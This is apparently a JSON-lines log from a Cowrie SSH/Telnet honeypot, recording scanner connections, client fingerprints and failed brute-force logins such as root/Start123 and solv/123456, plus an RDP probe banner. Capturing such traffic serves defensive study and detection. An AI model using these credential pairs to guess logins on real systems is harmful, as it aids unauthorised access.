{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:40:32.206602Z","src_ip":"43.134.32.136","session":"5fc6a9f8697f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Start123","message":"login attempt [root/Start123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:40:33.219111Z","src_ip":"43.134.32.136","session":"5fc6a9f8697f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:40:34.467778Z","src_ip":"43.134.32.136","session":"5fc6a9f8697f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47522,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ceed79976a0","protocol":"telnet","message":"New connection: 152.42.224.71:47522 (10.17.0.5:23) [session: 6ceed79976a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:40:34.623504Z"}
{"eventid":"cowrie.session.closed","duration":42.08882737159729,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:40:36.985315Z","src_ip":"152.42.224.71","session":"ee113351db20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.03383922576904,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:40:37.199907Z","src_ip":"152.42.224.71","session":"ed7ee8e11409","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":51768,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb15681efb51","protocol":"ssh","message":"New connection: 109.172.54.111:51768 (10.17.0.5:22) [session: cb15681efb51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:40:39.716247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:40:39.724532Z","src_ip":"109.172.54.111","session":"cb15681efb51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:40:39.822630Z","src_ip":"109.172.54.111","session":"cb15681efb51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"321321321","message":"login attempt [root/321321321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:40:40.119341Z","src_ip":"109.172.54.111","session":"cb15681efb51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:40:41.218282Z","src_ip":"109.172.54.111","session":"cb15681efb51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":33126,"dst_ip":"159.203.135.109","dst_port":23,"session":"92fd5e9f36a0","protocol":"telnet","message":"New connection: 209.127.178.212:33126 (159.203.135.109:23) [session: 92fd5e9f36a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:40:48.242602Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38236,"dst_ip":"10.17.0.5","dst_port":23,"session":"9979adab04b6","protocol":"telnet","message":"New connection: 152.42.224.71:38236 (10.17.0.5:23) [session: 9979adab04b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:01.314528Z"}
{"eventid":"cowrie.session.closed","duration":43.10208082199097,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:02.877827Z","src_ip":"152.42.224.71","session":"2508260f57e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38250,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9cf709cd338","protocol":"telnet","message":"New connection: 152.42.224.71:38250 (10.17.0.5:23) [session: e9cf709cd338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:03.375927Z"}
{"eventid":"cowrie.session.closed","duration":1.568816900253296,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:04.944619Z","src_ip":"152.42.224.71","session":"e9cf709cd338","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.217.149.14","src_port":43664,"dst_ip":"159.203.135.109","dst_port":23,"session":"552e06e79b8a","protocol":"telnet","message":"New connection: 85.217.149.14:43664 (159.203.135.109:23) [session: 552e06e79b8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:07.303169Z"}
{"eventid":"cowrie.session.closed","duration":0.029846906661987305,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:07.332917Z","src_ip":"85.217.149.14","session":"552e06e79b8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37556,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa7f0d842db3","protocol":"telnet","message":"New connection: 152.42.224.71:37556 (10.17.0.5:23) [session: fa7f0d842db3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:09.707867Z"}
{"eventid":"cowrie.session.closed","duration":81.97712135314941,"message":"Connection lost after 81 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:10.151010Z","src_ip":"152.42.224.71","session":"b44c6b2f31c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.824421644210815,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:13.115227Z","src_ip":"152.42.224.71","session":"e8412169419b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.07589268684387,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:14.402128Z","src_ip":"152.42.224.71","session":"3ee2269c88e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37568,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f45ddd69a61","protocol":"telnet","message":"New connection: 152.42.224.71:37568 (10.17.0.5:23) [session: 0f45ddd69a61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:15.326911Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37570,"dst_ip":"10.17.0.5","dst_port":23,"session":"c05664977569","protocol":"telnet","message":"New connection: 152.42.224.71:37570 (10.17.0.5:23) [session: c05664977569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:15.434131Z"}
{"eventid":"cowrie.session.closed","duration":31.14518928527832,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:19.387673Z","src_ip":"209.127.178.212","session":"92fd5e9f36a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54690,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5d7eb3d189a","protocol":"telnet","message":"New connection: 152.42.224.71:54690 (10.17.0.5:23) [session: e5d7eb3d189a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:23.666906Z"}
{"eventid":"cowrie.session.closed","duration":61.18941259384155,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:25.229834Z","src_ip":"152.42.224.71","session":"9b83a0d4bf04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":44904,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e6ef966afdd","protocol":"ssh","message":"New connection: 103.75.183.219:44904 (10.17.0.5:22) [session: 6e6ef966afdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:25.464376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:25.469851Z","src_ip":"103.75.183.219","session":"6e6ef966afdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:25.725158Z","src_ip":"103.75.183.219","session":"6e6ef966afdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19851985","message":"login attempt [root/19851985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:26.479030Z","src_ip":"103.75.183.219","session":"6e6ef966afdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:27.733375Z","src_ip":"103.75.183.219","session":"6e6ef966afdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59402,"dst_ip":"10.17.0.5","dst_port":23,"session":"563c5c1233e4","protocol":"telnet","message":"New connection: 152.42.224.71:59402 (10.17.0.5:23) [session: 563c5c1233e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:30.563845Z"}
{"eventid":"cowrie.session.closed","duration":58.98755764961243,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:33.610893Z","src_ip":"152.42.224.71","session":"6ceed79976a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59406,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1f3fcdce254","protocol":"telnet","message":"New connection: 152.42.224.71:59406 (10.17.0.5:23) [session: c1f3fcdce254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:34.895012Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":60966,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0338f2f11c4","protocol":"ssh","message":"New connection: 80.94.92.184:60966 (10.17.0.5:22) [session: d0338f2f11c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:41.786986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:41.954862Z","src_ip":"80.94.92.184","session":"d0338f2f11c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:41.958045Z","src_ip":"80.94.92.184","session":"d0338f2f11c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55254,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9f25d3ef3d3","protocol":"telnet","message":"New connection: 152.42.224.71:55254 (10.17.0.5:23) [session: c9f25d3ef3d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:43.241433Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55268,"dst_ip":"10.17.0.5","dst_port":23,"session":"7223de73243f","protocol":"telnet","message":"New connection: 152.42.224.71:55268 (10.17.0.5:23) [session: 7223de73243f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:43.278491Z"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:44.439837Z","src_ip":"80.94.92.184","session":"d0338f2f11c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:45.713611Z","src_ip":"80.94.92.184","session":"d0338f2f11c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":50866,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3b7d115d52f","protocol":"ssh","message":"New connection: 167.172.81.52:50866 (159.203.135.109:22) [session: f3b7d115d52f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:50.641825Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:50.646870Z","src_ip":"167.172.81.52","session":"f3b7d115d52f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:50.650980Z","src_ip":"167.172.81.52","session":"f3b7d115d52f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.217.149.43","src_port":42448,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ebb5731ceba","protocol":"ssh","message":"New connection: 85.217.149.43:42448 (159.203.135.109:22) [session: 3ebb5731ceba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:50.822533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:50.827641Z","src_ip":"85.217.149.43","session":"3ebb5731ceba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bc3aee897af7d3feb9fc37b89c7d15c9","hasshAlgorithms":"curve25519-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bc3aee897af7d3feb9fc37b89c7d15c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:50.846466Z","src_ip":"85.217.149.43","session":"3ebb5731ceba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:50.868496Z","src_ip":"85.217.149.43","session":"3ebb5731ceba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35870,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a7b0cb03e18","protocol":"telnet","message":"New connection: 152.42.224.71:35870 (10.17.0.5:23) [session: 6a7b0cb03e18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:52.280059Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.32.136","src_port":35878,"dst_ip":"159.203.135.109","dst_port":22,"session":"a17c62ae5267","protocol":"ssh","message":"New connection: 43.134.32.136:35878 (159.203.135.109:22) [session: a17c62ae5267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:57.929969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:57.935106Z","src_ip":"43.134.32.136","session":"a17c62ae5267","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":46024,"dst_ip":"159.203.135.109","dst_port":22,"session":"73c1af9ff87a","protocol":"ssh","message":"New connection: 103.75.182.198:46024 (159.203.135.109:22) [session: 73c1af9ff87a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:58.005152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:58.010616Z","src_ip":"103.75.182.198","session":"73c1af9ff87a","protocol":"ssh"}
